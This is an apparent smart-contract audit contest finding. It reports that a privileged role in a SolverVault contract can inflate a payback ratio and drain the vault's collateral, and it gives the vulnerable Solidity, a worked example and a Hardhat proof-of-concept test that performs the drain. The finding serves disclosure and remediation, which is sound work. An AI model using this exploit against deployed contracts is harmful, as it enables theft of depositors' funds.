Acrobatic Walnut Halibut

high

# Malicious `BALANCER_ROLE` `_paybackRatio` abuse.

## Summary
Malicious `BALANCER_ROLE` can abuse the `_paybackRatio` to  drain all  `collateralToken`  from vault.

## Vulnerability Detail
```solidity
function acceptWithdrawRequest(
        uint256 providedAmount,
        uint256[] memory _acceptedRequestIds,
        uint256 _paybackRatio // <- Inflate
    ) external onlyRole(BALANCER_ROLE) whenNotPaused {
        IERC20(collateralTokenAddress).safeTransferFrom(
            msg.sender,
            address(this),
            providedAmount
        );
        require(
            _paybackRatio >= minimumPaybackRatio, 
            "SolverVault: Payback ratio is too low"
        );
        uint256 totalRequiredBalance = lockedBalance;

        for (uint256 i = 0; i < _acceptedRequestIds.length; i++) {
            uint256 id = _acceptedRequestIds[i];
            require(
                id < withdrawRequests.length,
                "SolverVault: Invalid request ID"
            );
            require(
                withdrawRequests[id].status == RequestStatus.Pending,
                "SolverVault: Invalid accepted request"
            );
            totalRequiredBalance +=
                (withdrawRequests[id].amount * _paybackRatio) /
                1e18;
            withdrawRequests[id].status = RequestStatus.Ready;
            withdrawRequests[id].acceptedRatio = _paybackRatio; // <- Set as acceptedRatio
        }

        require(
            IERC20(collateralTokenAddress).balanceOf(address(this)) >=
                totalRequiredBalance,
            "SolverVault: Insufficient contract balance"
        );
        lockedBalance = totalRequiredBalance;
        emit WithdrawRequestAcceptedEvent(
            providedAmount,
            _acceptedRequestIds,
            _paybackRatio
        );
    }
```
The  `_paybackRatio` can be inflated to allow withdraw of arbitrary amount of `collateralToken` by the `withdrawRequest.receiver`.

```solidity
function claimForWithdrawRequest(uint256 requestId) external whenNotPaused {
        require(
            requestId < withdrawRequests.length,
            "SolverVault: Invalid request ID"
        );
        WithdrawRequest storage request = withdrawRequests[requestId];

        require(
            request.status == RequestStatus.Ready,
            "SolverVault: Request not ready for withdrawal"
        );

        request.status = RequestStatus.Done;
        uint256 amount = (request.amount * request.acceptedRatio) / 1e18; // <- Used to calculate collateralToken to transfer
        lockedBalance -= amount;
        IERC20(collateralTokenAddress).safeTransfer(request.receiver, amount);
        emit WithdrawClaimedEvent(requestId, request.receiver);
    }
```

## Impact
This allows a malicious `BALANCER_ROLE` to `drain all collateralToken` via `deposit` -> `requestWithdraw` -> `acceptWithdrawRequest with inflated _paybackRatio` -> `claimForWithdrawRequest` loop.

Eg. Given :
 - `solverVaultTokenDecimals == 8` 
 -  `collateralTokenDecimals  == 6` 
 - `500e6 ` `collateralToken in vault` (500 tokens). 
 
A `requestWithdraw` for `100` (sets `withdrawRequest.amount` to `1`) ,  with  `acceptWithdrawRequest._paybackRatio` of `5e26`, will drain all `collateralToken` in vault.


_POC: Add under `acceptWithdrawRequest` test_

```javascript
describe("_paybackRatio Inflate", function () {
            const requestId = 0
            const requestIds = [0]
            let lockedBalance: bigint

            // Inflated _paybackRatio
            const paybackRatio = decimal(500, 24n)


            // Withdraw 1 amount
            beforeEach(async function () {
                await solverVault.connect(user).requestWithdraw(100, await receiver.getAddress())
                lockedBalance = (await solverVault.withdrawRequests(0)).amount * paybackRatio / decimal(1)

            })

            it("Accept withdraw request and claim withdraw", async function () {
                // Withdraw Request is accepted with inflated paybackRatio
                await expect(solverVault.connect(balancer).acceptWithdrawRequest(0, requestIds, paybackRatio))
                    .to.emit(solverVault, "WithdrawRequestAcceptedEvent")
                    .withArgs(0, requestIds, paybackRatio)
                let request = await solverVault.withdrawRequests(0)

                expect(request[1]).to.equal(1)                
                expect(request[2]).to.equal(RequestStatus.Ready)
                expect(request[3]).to.equal(paybackRatio)
                expect(await solverVault.lockedBalance()).to.equal(request.amount * paybackRatio / decimal(1))


                // Attacker claims collateral            
                await expect(solverVault.connect(receiver).claimForWithdrawRequest(requestId))
                        .to.emit(solverVault, "WithdrawClaimedEvent")
                        .withArgs(requestId, await receiver.getAddress())
                request = await solverVault.withdrawRequests(0)    
                
                expect(request[2]).to.equal(RequestStatus.Done)
                expect(await collateralToken.balanceOf(await receiver.getAddress())).to.equal(lockedBalance)
                console.log()
            })
                        
        })
``` 

![ScreenShot Tool -20240105011355](https://github.com/sherlock-audit/2023-12-symm-io-117l11/assets/113766971/aaf7b081-cbd0-4e4c-9578-d29bc3919b5e)


## Code Snippet
https://github.com/sherlock-audit/2023-12-symm-io/blob/60ee22a4c598220821385cfb5eee43f40aafd5f1/solver-vaults/contracts/SolverVaults.sol#L262
https://github.com/sherlock-audit/2023-12-symm-io/blob/60ee22a4c598220821385cfb5eee43f40aafd5f1/solver-vaults/contracts/SolverVaults.sol#L295

## Tool used

Manual Review

## Recommendation
Add upper bound checks for `_paybackRatio`.
